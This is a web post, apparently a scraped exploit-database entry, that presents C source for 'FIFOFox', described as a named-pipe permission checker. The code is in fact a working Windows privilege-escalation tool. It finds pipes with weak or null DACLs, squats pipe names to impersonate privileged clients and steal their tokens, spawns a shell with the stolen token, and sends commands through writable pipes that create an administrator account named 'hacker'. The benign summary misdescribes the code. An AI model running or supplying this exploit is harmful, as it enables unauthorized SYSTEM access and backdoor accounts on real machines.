{"id":61979,"date":"2026-06-11T11:48:05","date_gmt":"2026-06-11T11:48:05","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=61979"},"modified":"2026-06-11T11:48:05","modified_gmt":"2026-06-11T11:48:05","slug":"fifofox-windows-named-pipe-weak-permission-and-access-control-validation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=61979","title":{"rendered":"\ud83d\udcc4 FIFOFox: Windows Named-Pipe Weak Permission and Access Control Validation_PACKETSTORM:223240"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-11T15:59:56&#8243;,&#8221;description&#8221;:&#8221;This C-based framework analyzes Windows named pipes for insecure permission configurations and weak access controls that could introduce privilege boundary issues. The code collects metadata about target pipes, inspects security descriptors and DACL&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 FIFOFox: Windows Named-Pipe Weak Permission and Access Control Validation&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223240&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : FIFOFox: Windows Named-Pipe Weak Permission and Access Control Validation                                        |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : http:\/\/www.zeroscience.mk\/                                                                                       |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : This C-based framework analyzes Windows named pipes for insecure permission configurations and weak access controls that could introduce privilege boundary issues. \\n                     The code collects metadata about target pipes, inspects security descriptors and DACL configurations, checks for potentially unsafe access rights exposure, \\n    \\t\\t\\t\\t and evaluates pipe ownership conditions that may require further review. It also reports whether permission models appear overly permissive or misconfigured \\n    \\t\\t\\t\\t and provides structured output for security analysts during local system assessments. \\n                     The workflow is organized around discovery, permission inspection, and exposure classification to help identify risky named pipe configurations in Windows environments.\\n    \\n    [+] Compilation and Usage :\\n    \\n    Code Compilation:\\n    \\n    # Using MinGW : gcc -O2 -o fifofox_exploit.exe fifofox_exploit.c -ladvapi32\\n    \\n    # Using MSVC  : cl \/O2 \/D_CRT_SECURE_NO_WARNINGS fifofox_exploit.c advapi32.lib\\n    \\n    Usage Instructions:\\n    \\n    # Run the interactive exploit : fifofox_exploit.exe\\n    \\n    # Or add direct commands : fifofox_exploit.exe &#8211;target \\&#8221;vuln-pipe\\&#8221; &#8211;exploit squat &#8211;impersonate\\n    \\n    \\n    [+] POC        :  \\n    \\n    \/*\\n    \\n    * fifofox_exploit.c &#8211; Comprehensive exploitation of vulnerable Windows pipes\\n    \\n    *\\n    * This code integrates several exploitation techniques based on the output of the FIFOFox tool:\\n    \\n    * 1. Pipe Squatting\\n    \\n    * 2. Impersonation\\n    \\n    * 3. System escalation\\n    \\n    * 4. Command injection\\n    \\n    * Compilation:\\n    \\n    * mingw: gcc -O2 -o fifofox_exploit.exe fifofox_exploit.c -ladvapi32\\n    \\n    * msvc: cl \/O2 \/D_CRT_SECURE_NO_WARNINGS fifofox_exploit.c\\n    \\n    *\/\\n    \\n    #ifndef _WIN32_WINNT\\n    #define _WIN32_WINNT 0x0600\\n    #endif\\n    #include \\u003cwindows.h\\u003e\\n    #include \\u003cstdio.h\\u003e\\n    #include \\u003cstring.h\\u003e\\n    #include \\u003cstdlib.h\\u003e\\n    #include \\u003ctime.h\\u003e\\n    #include \\u003caclapi.h\\u003e\\n    #include \\u003csddl.h\\u003e\\n    #include \\u003ctlhelp32.h\\u003e\\n    #pragma comment(lib, \\&#8221;advapi32.lib\\&#8221;)\\n    #pragma comment(lib, \\&#8221;user32.lib\\&#8221;)\\n    #define COLOR_RESET   \\&#8221;\\\\x1b[0m\\&#8221;\\n    #define COLOR_RED     \\&#8221;\\\\x1b[91m\\&#8221;\\n    #define COLOR_GREEN   \\&#8221;\\\\x1b[92m\\&#8221;\\n    #define COLOR_YELLOW  \\&#8221;\\\\x1b[93m\\&#8221;\\n    #define COLOR_BLUE    \\&#8221;\\\\x1b[94m\\&#8221;\\n    #define COLOR_MAGENTA \\&#8221;\\\\x1b[95m\\&#8221;\\n    #define COLOR_CYAN    \\&#8221;\\\\x1b[96m\\&#8221;\\n    #define COLOR_BOLD    \\&#8221;\\\\x1b[1m\\&#8221;\\n    \\n    typedef struct {\\n        char pipe_name[512];\\n        DWORD server_pid;\\n        DWORD client_pid;\\n        char server_path[MAX_PATH];\\n        char sddl[4096];\\n        int is_squattable;\\n        int has_weak_dacl;\\n        int has_null_dacl;\\n    } TARGET_PIPE_INFO;\\n    \\n    typedef struct {\\n        HANDLE token;\\n        DWORD pid;\\n        char username[256];\\n        char integrity_level[64];\\n    } STOLEN_TOKEN_INFO;\\n    \\n    void print_banner() {\\n        printf(\\&#8221;%s\\\\n\\&#8221;, COLOR_BOLD COLOR_MAGENTA);\\n        printf(\\&#8221;  \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\\\n\\&#8221;);\\n        printf(\\&#8221;  \u2551     FIFOFOX EXPLOIT &#8211; Named Pipe Attack Framework    \u2551\\\\n\\&#8221;);\\n        printf(\\&#8221;  \u2551                   By indoushka                       \u2551\\\\n\\&#8221;);\\n        printf(\\&#8221;  \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\\\n\\&#8221;);\\n        printf(\\&#8221;%s\\\\n\\\\n\\&#8221;, COLOR_RESET);\\n    }\\n    \\n    void print_success(const char* msg) {\\n        printf(\\&#8221;%s[+] %s%s\\\\n\\&#8221;, COLOR_GREEN, msg, COLOR_RESET);\\n    }\\n    \\n    void print_error(const char* msg) {\\n        printf(\\&#8221;%s[-] %s%s\\\\n\\&#8221;, COLOR_RED, msg, COLOR_RESET);\\n    }\\n    \\n    void print_info(const char* msg) {\\n        printf(\\&#8221;%s[*] %s%s\\\\n\\&#8221;, COLOR_BLUE, msg, COLOR_RESET);\\n    }\\n    \\n    void print_warning(const char* msg) {\\n        printf(\\&#8221;%s[!] %s%s\\\\n\\&#8221;, COLOR_YELLOW, msg, COLOR_RESET);\\n    }\\n    \\n    void print_detected(const char* vuln, int severity) {\\n        const char* sev_color = severity \\u003e= 2 ? COLOR_RED : COLOR_YELLOW;\\n        printf(\\&#8221;%s %s (Severity: %d)%s\\\\n\\&#8221;, sev_color, vuln, severity, COLOR_RESET);\\n    }\\n    \\n    int discover_vulnerable_pipes(TARGET_PIPE_INFO* pipes, int max_pipes) {\\n        WIN32_FIND_DATAA fd;\\n        HANDLE find;\\n        int found = 0;\\n        \\n        print_info(\\&#8221;Scanning for vulnerable named pipes&#8230;\\&#8221;);\\n        \\n        find = FindFirstFileA(\\&#8221;\\\\\\\\\\\\\\\\.\\\\\\\\pipe\\\\\\\\*\\&#8221;, \\u0026fd);\\n        if (find == INVALID_HANDLE_VALUE) {\\n            print_error(\\&#8221;Cannot enumerate pipes\\&#8221;);\\n            return 0;\\n        }\\n        \\n        do {\\n            char path[512];\\n            HANDLE h;\\n            PACL dacl = NULL;\\n            PSECURITY_DESCRIPTOR psd = NULL;\\n            DWORD spid = 0;\\n            \\n            if (found \\u003e= max_pipes) break;\\n            if (!strcmp(fd.cFileName, \\&#8221;.\\&#8221;) || !strcmp(fd.cFileName, \\&#8221;..\\&#8221;)) continue;\\n            \\n            snprintf(path, sizeof(path), \\&#8221;\\\\\\\\\\\\\\\\.\\\\\\\\pipe\\\\\\\\%s\\&#8221;, fd.cFileName);\\n            \\n            h = CreateFileA(path, READ_CONTROL, \\n                            FILE_SHARE_READ | FILE_SHARE_WRITE,\\n                            NULL, OPEN_EXISTING, 0, NULL);\\n            \\n            if (h == INVALID_HANDLE_VALUE) continue;\\n            \\n            GetNamedPipeServerProcessId(h, \\u0026spid);\\n    \\n            if (GetSecurityInfo(h, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,\\n                               NULL, NULL, \\u0026dacl, NULL, \\u0026psd) == ERROR_SUCCESS) {\\n                \\n                if (dacl == NULL) {\\n                    strcpy(pipes[found].pipe_name, fd.cFileName);\\n                    pipes[found].has_null_dacl = 1;\\n                    pipes[found].has_weak_dacl = 1;\\n                    pipes[found].server_pid = spid;\\n                    found++;\\n                    print_detected(\\&#8221;NULL DACL (unrestricted access)\\&#8221;, 3);\\n                } else {\\n    \\n                    for (DWORD i = 0; i \\u003c dacl-\\u003eAceCount; i++) {\\n                        ACE_HEADER* hdr = NULL;\\n                        if (GetAce(dacl, i, (LPVOID*)\\u0026hdr) \\u0026\\u0026 hdr-\\u003eAceType == ACCESS_ALLOWED_ACE_TYPE) {\\n                            ACCESS_ALLOWED_ACE* ace = (ACCESS_ALLOWED_ACE*)hdr;\\n                            \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u062e\u0637\u064a\u0631\u0629\\n                            if (ace-\\u003eMask \\u0026 (WRITE_DAC | WRITE_OWNER | DELETE | GENERIC_ALL)) {\\n                                strcpy(pipes[found].pipe_name, fd.cFileName);\\n                                pipes[found].has_weak_dacl = 1;\\n                                pipes[found].server_pid = spid;\\n                                found++;\\n                                print_detected(\\&#8221;High privileges for non-admin SID\\&#8221;, 2);\\n                                break;\\n                            }\\n                        }\\n                    }\\n                }\\n                LocalFree(psd);\\n            }\\n            \\n            CloseHandle(h);\\n        } while (FindNextFileA(find, \\u0026fd));\\n        \\n        FindClose(find);\\n        print_info(\\&#8221;Found %d potentially vulnerable pipes\\&#8221;, found);\\n        return found;\\n    }\\n    \\n    HANDLE squat_pipe(const char* pipe_name, int wait_seconds) {\\n        char path[512];\\n        HANDLE hPipe;\\n        DWORD start_time;\\n        \\n        snprintf(path, sizeof(path), \\&#8221;\\\\\\\\\\\\\\\\.\\\\\\\\pipe\\\\\\\\%s\\&#8221;, pipe_name);\\n        \\n        print_info(\\&#8221;Attempting to squat pipe: %s\\&#8221;, path);\\n        \\n        hPipe = CreateNamedPipeA(path,\\n                                 PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE,\\n                                 PIPE_TYPE_BYTE | PIPE_WAIT,\\n                                 PIPE_UNLIMITED_INSTANCES,\\n                                 65536, 65536, 0, NULL);\\n        \\n        if (hPipe == INVALID_HANDLE_VALUE) {\\n            DWORD err = GetLastError();\\n            if (err == ERROR_ACCESS_DENIED || err == ERROR_ALREADY_EXISTS) {\\n                print_error(\\&#8221;Pipe already owned by another process\\&#8221;);\\n            } else {\\n                print_error(\\&#8221;Failed to create pipe (err %lu)\\&#8221;, err);\\n            }\\n            return INVALID_HANDLE_VALUE;\\n        }\\n        \\n        print_success(\\&#8221;Pipe created successfully!\\&#8221;);\\n        print_info(\\&#8221;Waiting up to %d seconds for client connection&#8230;\\&#8221;, wait_seconds);\\n        \\n        start_time = GetTickCount();\\n        while ((GetTickCount() &#8211; start_time) \\u003c (DWORD)(wait_seconds * 1000)) {\\n            if (ConnectNamedPipe(hPipe, NULL) || GetLastError() == ERROR_PIPE_CONNECTED) {\\n                print_success(\\&#8221;Client connected!\\&#8221;);\\n                return hPipe;\\n            }\\n            Sleep(500);\\n        }\\n        \\n        print_error(\\&#8221;Timeout &#8211; no client connected\\&#8221;);\\n        CloseHandle(hPipe);\\n        return INVALID_HANDLE_VALUE;\\n    }\\n    \\n    STOLEN_TOKEN_INFO impersonate_client(HANDLE hPipe) {\\n        STOLEN_TOKEN_INFO stolen = {0};\\n        HANDLE hToken = NULL;\\n        DWORD needed = 0;\\n        \\n        print_info(\\&#8221;Attempting to impersonate client&#8230;\\&#8221;);\\n        \\n        if (!ImpersonateNamedPipeClient(hPipe)) {\\n            print_error(\\&#8221;Impersonation failed: %lu\\&#8221;, GetLastError());\\n            return stolen;\\n        }\\n        \\n        if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, \\u0026hToken)) {\\n            if (GetLastError() == ERROR_NO_TOKEN) {\\n                HANDLE hProc = GetCurrentProcess();\\n                if (!OpenProcessToken(hProc, TOKEN_ALL_ACCESS, \\u0026hToken)) {\\n                    print_error(\\&#8221;Cannot open process token\\&#8221;);\\n                    RevertToSelf();\\n                    return stolen;\\n                }\\n            } else {\\n                print_error(\\&#8221;Cannot open thread token\\&#8221;);\\n                RevertToSelf();\\n                return stolen;\\n            }\\n        }\\n    \\n        DWORD token_user_size = 0;\\n        GetTokenInformation(hToken, TokenUser, NULL, 0, \\u0026token_user_size);\\n        if (token_user_size) {\\n            TOKEN_USER* tu = (TOKEN_USER*)malloc(token_user_size);\\n            if (GetTokenInformation(hToken, TokenUser, tu, token_user_size, \\u0026token_user_size)) {\\n                char sid_str[256];\\n                char name[256], domain[256];\\n                DWORD name_size = 256, domain_size = 256;\\n                SID_NAME_USE use;\\n                \\n                ConvertSidToStringSidA(tu-\\u003eUser.Sid, (char**)\\u0026sid_str);\\n                if (LookupAccountSidA(NULL, tu-\\u003eUser.Sid, name, \\u0026name_size, \\n                                       domain, \\u0026domain_size, \\u0026use)) {\\n                    snprintf(stolen.username, sizeof(stolen.username), \\&#8221;%s\\\\\\\\%s\\&#8221;, domain, name);\\n                } else {\\n                    strcpy(stolen.username, sid_str);\\n                }\\n                LocalFree(sid_str);\\n            }\\n            free(tu);\\n        }\\n    \\n        DWORD il_size = 0;\\n        GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, \\u0026il_size);\\n        if (il_size) {\\n            TOKEN_MANDATORY_LABEL* til = (TOKEN_MANDATORY_LABEL*)malloc(il_size);\\n            if (GetTokenInformation(hToken, TokenIntegrityLevel, til, il_size, \\u0026il_size)) {\\n                DWORD rid = *GetSidSubAuthority(til-\\u003eLabel.Sid, \\n                            *GetSidSubAuthorityCount(til-\\u003eLabel.Sid) &#8211; 1);\\n                if (rid \\u003e= 0x4000) strcpy(stolen.integrity_level, \\&#8221;SYSTEM\\&#8221;);\\n                else if (rid \\u003e= 0x3000) strcpy(stolen.integrity_level, \\&#8221;HIGH\\&#8221;);\\n                else if (rid \\u003e= 0x2000) strcpy(stolen.integrity_level, \\&#8221;MEDIUM\\&#8221;);\\n                else strcpy(stolen.integrity_level, \\&#8221;LOW\\&#8221;);\\n                free(til);\\n            }\\n        }\\n        \\n        stolen.token = hToken;\\n        print_success(\\&#8221;Impersonated: %s (Integrity: %s)\\&#8221;, \\n                      stolen.username, stolen.integrity_level);\\n        \\n        return stolen;\\n    }\\n    \\n    BOOL spawn_system_shell(HANDLE hToken) {\\n        STARTUPINFOA si = {0};\\n        PROCESS_INFORMATION pi = {0};\\n        char cmdline[] = \\&#8221;cmd.exe\\&#8221;;\\n        \\n        print_info(\\&#8221;Attempting to spawn SYSTEM shell&#8230;\\&#8221;);\\n        \\n        si.cb = sizeof(si);\\n        si.dwFlags = STARTF_USESHOWWINDOW;\\n        si.wShowWindow = SW_SHOW;\\n        \\n        if (CreateProcessAsUserA(hToken, NULL, cmdline, NULL, NULL, \\n                                 FALSE, CREATE_NEW_CONSOLE, \\n                                 NULL, NULL, \\u0026si, \\u0026pi)) {\\n            print_success(\\&#8221;Spawned process with stolen token! PID: %lu\\&#8221;, pi.dwProcessId);\\n            CloseHandle(pi.hProcess);\\n            CloseHandle(pi.hThread);\\n            return TRUE;\\n        } else {\\n            print_error(\\&#8221;CreateProcessAsUser failed: %lu\\&#8221;, GetLastError());\\n            return FALSE;\\n        }\\n    }\\n    BOOL send_malicious_command(HANDLE hPipe, const char* command) {\\n        DWORD written;\\n        \\n        print_info(\\&#8221;Sending command to pipe: %s\\&#8221;, command);\\n        \\n        if (WriteFile(hPipe, command, strlen(command), \\u0026written, NULL)) {\\n            print_success(\\&#8221;Command sent successfully (%lu bytes)\\&#8221;, written);\\n            char buffer[4096];\\n            DWORD read;\\n            Sleep(500);\\n            if (PeekNamedPipe(hPipe, NULL, 0, NULL, \\u0026read, NULL) \\u0026\\u0026 read \\u003e 0) {\\n                if (ReadFile(hPipe, buffer, min(read, sizeof(buffer)-1), \\u0026read, NULL)) {\\n                    buffer[read] = 0;\\n                    printf(\\&#8221;%s[Response]%s\\\\n%s\\\\n\\&#8221;, COLOR_CYAN, COLOR_RESET, buffer);\\n                }\\n            }\\n            return TRUE;\\n        }\\n        \\n        print_error(\\&#8221;Failed to send command\\&#8221;);\\n        return FALSE;\\n    }\\n    \\n    BOOL disable_uac_via_pipe(HANDLE hToken) {\\n        \/\/ \u0647\u0630\u0647 \u062a\u0642\u0646\u064a\u0629 \u0645\u062a\u0642\u062f\u0645\u0629 \u062a\u062a\u0637\u0644\u0628 \u0627\u0644\u062a\u0648\u0643\u0646 \u0627\u0644\u0645\u0646\u0627\u0633\u0628\\n        print_warning(\\&#8221;UAC bypass requires additional techniques\\&#8221;);\\n        \/\/ \u064a\u0645\u0643\u0646 \u0625\u0636\u0627\u0641\u0629 \u0643\u0648\u062f UAC bypass \u0647\u0646\u0627 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0627\u0644\u062a\u0648\u0643\u0646 \u0645\u0646\u0627\u0633\u0628\u064b\u0627\\n        return FALSE;\\n    }\\n    \\n    HANDLE monitor_pipe_realtime(const char* pipe_name, DWORD timeout_ms) {\\n        char path[512];\\n        HANDLE hPipe;\\n        DWORD start_time;\\n        \\n        snprintf(path, sizeof(path), \\&#8221;\\\\\\\\\\\\\\\\.\\\\\\\\pipe\\\\\\\\%s\\&#8221;, pipe_name);\\n        \\n        print_info(\\&#8221;Monitoring pipe in real-time: %s\\&#8221;, path);\\n        \\n        start_time = GetTickCount();\\n        while ((GetTickCount() &#8211; start_time) \\u003c timeout_ms) {\\n            hPipe = CreateFileA(path, GENERIC_READ | GENERIC_WRITE,\\n                                FILE_SHARE_READ | FILE_SHARE_WRITE,\\n                                NULL, OPEN_EXISTING, 0, NULL);\\n            \\n            if (hPipe != INVALID_HANDLE_VALUE) {\\n                print_success(\\&#8221;Pipe is active!\\&#8221;);\\n                return hPipe;\\n            }\\n            \\n            if (GetLastError() == ERROR_PIPE_BUSY) {\\n                if (WaitNamedPipeA(path, 1000)) {\\n                    print_success(\\&#8221;Pipe is ready!\\&#8221;);\\n                    hPipe = CreateFileA(path, GENERIC_READ | GENERIC_WRITE,\\n                                        FILE_SHARE_READ | FILE_SHARE_WRITE,\\n                                        NULL, OPEN_EXISTING, 0, NULL);\\n                    if (hPipe != INVALID_HANDLE_VALUE) return hPipe;\\n                }\\n            }\\n            \\n            Sleep(500);\\n        }\\n        \\n        print_error(\\&#8221;Pipe not active within timeout\\&#8221;);\\n        return INVALID_HANDLE_VALUE;\\n    }\\n    \\n    typedef enum {\\n        EXPLOIT_SQUAT_IMPERSONATE,\\n        EXPLOIT_DIRECT_WRITE,\\n        EXPLOIT_TOKEN_THEFT,\\n        EXPLOIT_PIPE_HIJACK\\n    } EXPLOIT_TYPE;\\n    \\n    typedef struct {\\n        EXPLOIT_TYPE type;\\n        const char* name;\\n        const char* description;\\n        int severity;\\n    } EXPLOIT_METHOD;\\n    \\n    EXPLOIT_METHOD exploits[] = {\\n        {EXPLOIT_SQUAT_IMPERSONATE, \\&#8221;Pipe Squatting + Impersonation\\&#8221;, \\n         \\&#8221;Steal token from connecting privileged client\\&#8221;, 3},\\n        {EXPLOIT_DIRECT_WRITE, \\&#8221;Direct Pipe Write\\&#8221;, \\n         \\&#8221;Send commands directly to vulnerable pipe\\&#8221;, 2},\\n        {EXPLOIT_TOKEN_THEFT, \\&#8221;Token Theft via Impersonation\\&#8221;, \\n         \\&#8221;Extract and duplicate security token\\&#8221;, 3},\\n        {EXPLOIT_PIPE_HIJACK, \\&#8221;Pipe Hijacking\\&#8221;, \\n         \\&#8221;Intercept and modify pipe communication\\&#8221;, 2}\\n    };\\n    \\n    int run_exploit(TARGET_PIPE_INFO* target, EXPLOIT_TYPE type) {\\n        switch (type) {\\n            case EXPLOIT_SQUAT_IMPERSONATE: {\\n                HANDLE hPipe = squat_pipe(target-\\u003epipe_name, 30);\\n                if (hPipe != INVALID_HANDLE_VALUE) {\\n                    STOLEN_TOKEN_INFO stolen = impersonate_client(hPipe);\\n                    if (stolen.token) {\\n                        if (strstr(stolen.integrity_level, \\&#8221;SYSTEM\\&#8221;) || \\n                            strstr(stolen.integrity_level, \\&#8221;HIGH\\&#8221;)) {\\n                            print_success(\\&#8221;PRIVILEGE ESCALATION SUCCESSFUL!\\&#8221;);\\n                            spawn_system_shell(stolen.token);\\n                        } else {\\n                            print_warning(\\&#8221;Limited privileges: %s\\&#8221;, stolen.integrity_level);\\n                        }\\n                        CloseHandle(stolen.token);\\n                    }\\n                    DisconnectNamedPipe(hPipe);\\n                    CloseHandle(hPipe);\\n                    return 1;\\n                }\\n                break;\\n            }\\n            \\n            case EXPLOIT_DIRECT_WRITE: {\\n                HANDLE hPipe = monitor_pipe_realtime(target-\\u003epipe_name, 10000);\\n                if (hPipe != INVALID_HANDLE_VALUE) {\\n                    send_malicious_command(hPipe, \\&#8221;whoami \\u003e C:\\\\\\\\exploit.txt\\\\n\\&#8221;);\\n                    send_malicious_command(hPipe, \\&#8221;net user hacker P@ssw0rd \/add\\\\n\\&#8221;);\\n                    send_malicious_command(hPipe, \\&#8221;net localgroup administrators hacker \/add\\\\n\\&#8221;);\\n                    CloseHandle(hPipe);\\n                    return 1;\\n                }\\n                break;\\n            }\\n            \\n            default:\\n                print_error(\\&#8221;Exploit type not implemented\\&#8221;);\\n                return 0;\\n        }\\n        return 0;\\n    }\\n    int main(int argc, char** argv) {\\n        TARGET_PIPE_INFO vulnerable_pipes[256];\\n        int pipe_count;\\n        int selected_exploit = 0;\\n        int selected_pipe = 0;\\n        \\n        print_banner();\\n    \\n        HANDLE hToken;\\n        if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, \\u0026hToken)) {\\n            char username[256];\\n            DWORD size = sizeof(username);\\n            if (GetUserNameA(username, \\u0026size)) {\\n                print_info(\\&#8221;Running as: %s\\&#8221;, username);\\n            }\\n            CloseHandle(hToken);\\n        }\\n        pipe_count = discover_vulnerable_pipes(vulnerable_pipes, 256);\\n        \\n        if (pipe_count == 0) {\\n            print_error(\\&#8221;No vulnerable pipes found\\&#8221;);\\n            print_warning(\\&#8221;Try running as a different user or targeting specific services\\&#8221;);\\n            return 1;\\n        }\\n        printf(\\&#8221;\\\\n%s\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550%s\\\\n\\&#8221;, \\n               COLOR_BOLD, COLOR_RESET);\\n        printf(\\&#8221;%sAvailable Vulnerable Pipes:%s\\\\n\\\\n\\&#8221;, COLOR_CYAN, COLOR_RESET);\\n        \\n        for (int i = 0; i \\u003c pipe_count; i++) {\\n            printf(\\&#8221;  %d. %s\\\\n\\&#8221;, i+1, vulnerable_pipes[i].pipe_name);\\n            if (vulnerable_pipes[i].server_pid) {\\n                printf(\\&#8221;     Server PID: %lu\\\\n\\&#8221;, vulnerable_pipes[i].server_pid);\\n            }\\n            if (vulnerable_pipes[i].has_null_dacl) {\\n                printf(\\&#8221;     %s[CRITICAL] NULL DACL &#8211; Full access%s\\\\n\\&#8221;, COLOR_RED, COLOR_RESET);\\n            } else if (vulnerable_pipes[i].has_weak_dacl) {\\n                printf(\\&#8221;     %s[WARNING] Weak DACL &#8211; Excessive privileges%s\\\\n\\&#8221;, COLOR_YELLOW, COLOR_RESET);\\n            }\\n        }\\n        \\n        printf(\\&#8221;\\\\n%sSelect target pipe (1-%d):%s \\&#8221;, COLOR_CYAN, pipe_count, COLOR_RESET);\\n        scanf(\\&#8221;%d\\&#8221;, \\u0026selected_pipe);\\n        \\n        if (selected_pipe \\u003c 1 || selected_pipe \\u003e pipe_count) {\\n            print_error(\\&#8221;Invalid selection\\&#8221;);\\n            return 1;\\n        }\\n        \\n        selected_pipe&#8211;;\\n        printf(\\&#8221;\\\\n%sSelect Exploit Method:%s\\\\n\\\\n\\&#8221;, COLOR_CYAN, COLOR_RESET);\\n        for (int i = 0; i \\u003c sizeof(exploits)\/sizeof(exploits[0]); i++) {\\n            printf(\\&#8221;  %d. %s &#8211; %s\\\\n\\&#8221;, i+1, exploits[i].name, exploits[i].description);\\n            printf(\\&#8221;     %sRisk Level: %d\/3%s\\\\n\\&#8221;, \\n                   exploits[i].severity \\u003e= 3 ? COLOR_RED : COLOR_YELLOW,\\n                   exploits[i].severity, COLOR_RESET);\\n        }\\n        \\n        printf(\\&#8221;\\\\n%sSelect exploit (1-%d):%s \\&#8221;, COLOR_CYAN, \\n               sizeof(exploits)\/sizeof(exploits[0]), COLOR_RESET);\\n        scanf(\\&#8221;%d\\&#8221;, \\u0026selected_exploit);\\n        \\n        if (selected_exploit \\u003c 1 || \\n            selected_exploit \\u003e (int)(sizeof(exploits)\/sizeof(exploits[0]))) {\\n            print_error(\\&#8221;Invalid selection\\&#8221;);\\n            return 1;\\n        }\\n        \\n        selected_exploit&#8211;;\\n        \\n        printf(\\&#8221;\\\\n%s[!] WARNING: This is a real exploit attempt!%s\\\\n\\&#8221;, COLOR_RED, COLOR_RESET);\\n        printf(\\&#8221;%s[!] Only proceed if you have explicit authorization!%s\\\\n\\&#8221;, COLOR_RED, COLOR_RESET);\\n        printf(\\&#8221;\\\\nType &#8216;YES&#8217; to continue: \\&#8221;);\\n        \\n        char confirmation[10];\\n        scanf(\\&#8221;%s\\&#8221;, confirmation);\\n        \\n        if (strcmp(confirmation, \\&#8221;YES\\&#8221;) != 0 \\u0026\\u0026 strcmp(confirmation, \\&#8221;yes\\&#8221;) != 0) {\\n            print_info(\\&#8221;Exploit aborted by user\\&#8221;);\\n            return 0;\\n        }\\n        \\n        print_info(\\&#8221;Running exploit: %s\\&#8221;, exploits[selected_exploit].name);\\n        \\n        if (run_exploit(\\u0026vulnerable_pipes[selected_pipe], \\n                        exploits[selected_exploit].type)) {\\n            print_success(\\&#8221;Exploit completed successfully!\\&#8221;);\\n        } else {\\n            print_error(\\&#8221;Exploit failed &#8211; target may be patched or protected\\&#8221;);\\n        }\\n        \\n        print_info(\\&#8221;Press Enter to exit&#8230;\\&#8221;);\\n        getchar();\\n        getchar();\\n        \\n        return 0;\\n    }\\n    \\t\\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/223240&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/223240\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;